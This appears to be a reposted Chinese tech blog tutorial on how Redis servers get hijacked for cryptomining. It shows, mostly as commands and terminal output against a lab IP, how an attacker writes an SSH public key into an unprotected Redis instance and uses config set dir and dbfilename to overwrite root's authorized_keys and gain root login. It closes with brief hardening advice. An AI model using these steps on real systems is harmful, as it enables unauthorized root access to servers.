查看原文
其他

卧槽!一文搞懂 Redis 挖矿原理及如何防范?

康熙 终码一生 2022-09-22

点击“终码一生”,关注,置顶公众号

每日技术干货,第一时间送达!



笔者也曾经被挖矿病毒侵袭过,灰常难受,但是其实你只要了解入侵的手段就非常好防范了,今天我们就演示一下如果通过Redis进行提权获取远程服务器的Root用户。


1、首先我们需要一些先决条件


  • 条件一:你首先要有一个Redis,并且我们要知道他的端口【默认6379】;

  • 条件二:Redis的密码不能过于复杂,或者没有密码;

  • 条件三:启动Redis的用户最好是Root用户,这样破坏性更大;


2、开始搞事情


  • 2.1 创建一对秘钥


通过ssh-keygen生成一对,当然可以使用已经有的都没有问题。


root@kali:/usr/local/src# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa


接下来通过公钥生成攻击键值


(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt


内容如下


root@kali:/tmp/rediskey# cat foo.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali


这里前后增加两个换行符是为了防止数据连接在一起造成失效问题。


  • 2.2 配置Key到Redis中


操作如下:


root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK


登录Redis进行检查,是否已经写入进Redis中。


root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"


  • 2.3 通过Redis保存机制替换系统文件


且看如下操作


192.168.243.129:6379> config set dir /root/.ssh
OK
192.168.243.129:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.243.129:6379> config set dbfilename "authorized_keys"
OK
192.168.243.129:6379> save
OK
192.168.243.129:6379> exit


这个时候,我们登录远程主机看下效果。


root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~# 


OK,到这里我们已经提权成功了,那我们看下导出文件到底是什么呢?其实就是Redis的保存文件形式罢了,有兴趣可以自己打开看看,这里不再展示。


3、如何预防


这个漏洞威力还是挺大的,我们现在只是拿到主机权限一个而已,加入放到定时任务执行一些脚本然后在批量感染呢?


防范的技巧如下:


  • Redis不要监听在危险IP上,如果有请加防火墙控制;

  • Redis一定要增加密码限制,且不能是弱口令;

  • Redis尽量不要用Root用户身份来启动。


做到如上三点防范Redis挖矿,没问题的


来源:cnblogs.com/evan-blog/p/10707087.html


PS:防止找不到本篇文章,可以收藏点赞,方便翻阅查找哦。


往期推荐



Docker 大势已去,Podman 即将崛起

扔掉 Postman,这款国产软件更香!

彻底搞懂 MyBaits 中#{}和${}的区别,#{}如何防止注入?

扔掉工具类,Mybatis一个简单配置搞定数据加密解密!

记一次MySQL数据库恢复

面试官:MySQL数据查询太多会OOM吗?


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存